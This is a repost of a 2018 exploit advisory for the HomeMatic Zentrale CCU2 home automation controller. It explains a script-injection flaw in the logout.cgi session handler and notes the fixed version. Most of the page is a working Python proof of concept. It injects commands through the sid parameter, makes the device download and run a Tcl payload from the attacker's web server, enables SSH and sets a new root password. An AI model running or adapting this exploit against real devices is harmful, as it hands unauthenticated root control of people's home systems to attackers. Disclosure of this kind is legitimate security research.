首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
HomeMatic Zentrale CCU2 Unauthenticated Remote Code Execution
来源:https://security.szurek.pl/ 作者:Szurek 发布时间:2018-07-18  
# Exploit Title: HomeMatic Zentrale CCU2 Unauthenticated RCE
# Date: 16-07-2018
# Software Link: https://www.homematic.com/
# Exploit Author: Kacper Szurek - ESET
# Contact: https://twitter.com/KacperSzurek
# Website: https://security.szurek.pl/
# YouTube: https://www.youtube.com/c/KacperSzurek
# Category: remote
  
1. Description
   
File: /root/www/api/backup/logout.cgi
 
```
proc main { } {
    set sid [getQueryArg sid]
     
    if [catch { session_logout $sid}] { error LOGOUT }
     
    puts "Content-Type: text/plain"
    puts ""
    puts "OK"
}
```
 
`$sid` value is passed directly to `session_logout` function.
 
File: /root/www/tcl/eq3/session.tcl
 
```
proc session_logout { sid } {
  rega_exec "system.ClearSessionID(\"$sid\");"
}
```

`$sid` value is not escaped properly. 

We can close current rega script using `");` and execute our payload.
   
2. Proof of Concept
 
POC in Python which enable ssh access and change root password without any credentials.
 
```
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import time
import urllib2
import threading
import sys
import os
import signal

print "HomeMatic Zentrale CCU2 Unauthenticated RCE"
print "Unauthenticated Remote Code Execution"
print "by Kacper Szurek - ESET"
print "https://security.szurek.pl/"
print "https://twitter.com/KacperSzurek"
print "https://www.youtube.com/c/KacperSzurek\n"

def signal_handler(a, b):
    print "[+] Exit"
    os._exit(0)

signal.signal(signal.SIGINT, signal_handler)

if len(sys.argv) != 4:
    print "Usage: exploit <your_ip> <homematic_ip> <new_password>"
    os._exit(0)

our_ip = sys.argv[1]
homematic_ip = sys.argv[2]
new_password = sys.argv[3]
tcl_file = """
#!/bin/tclsh
source /www/api/eq3/jsonrpc.tcl
source /www/api/eq3/json.tcl
set args(passwd) "{}"
set args(mode) "true"
source /www/api/methods/ccu/setssh.tcl
source /www/api/methods/ccu/setsshpassword.tcl
source /www/api/methods/ccu/restartsshdaemon.tcl
""".format(new_password)

class StoreHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        print self.path
        if self.path == '/exploit':
            self.send_response(200)
            self.send_header('Content-type', 'text/html')
            self.end_headers()
            self.wfile.write(tcl_file)

def server():
    try:
        server = HTTPServer((our_ip, 1234), StoreHandler)
        server.serve_forever()
    except Exception, e:
        print "[-] Cannot start web server: {}".format(e)
        os._exit(0)

def send_payload(payload):
    return urllib2.urlopen('http://{}/api/backup/logout.cgi?sid=aa");system.Exec("{}");system.ClearSessionID("bb'.format(homematic_ip, payload)).read()

try:
    version = urllib2.urlopen('http://{}/api/backup/version.cgi'.format(homematic_ip), timeout=6).read()
except:
    version = ""

if not version.startswith('VERSION='):
    print "[-] Probably not HomeMatic IP: {}".format(homematic_ip)
    os._exit(0)

if "'" in new_password or '"' in new_password:
    print "[-] Forbidden characters in password"
    os._exit(0)

print "[+] Start web server"
t = threading.Thread(target=server)
t.daemon = True
t.start()
time.sleep(2)

print "[+] Download exploit"
send_payload('wget+-O+/tmp/exploit+http://{}:1234/exploit&&chmod+%2bx+/tmp/exploit'.format(our_ip))

print "[+] Set chmod +x"
send_payload('chmod+%2bx+/tmp/exploit')

print "[+] Execute exploit"
send_payload('/bin/tclsh+/tmp/exploit')

print "[+] Success, now you can ssh as root:"
print "ssh root@{}".format(homematic_ip)
print "Password: {}".format(new_password)
os._exit(0)
```
 
3. Solution:
    
Update to version 2.35.16

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Yahoo! Messenger Webcam 8.1 Ac
·Apache 2.2.0 - 2.2.11 Remote e
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
·HT Editor File openning Stack
  相关文章
·Microsoft Windows Enterprise M
·Linux BPF Sign Extension Local
·Microsoft Windows .library-ms
·QNAP Q'Center change_passwd Co
·Nanopool Claymore Dual Miner A
·Linux/Ubuntu Coredump Reading
·Hadoop YARN ResourceManager Un
·Microsoft Windows POP/MOV SS L
·G DATA Total Security 25.4.0.3
·Manage Engine Exchange Reporte
·Apache CouchDB Arbitrary Comma
·phpMyAdmin Authenticated Remot
  推荐广告
CopyRight © 2002-2018 VFocuS.Net All Rights Reserved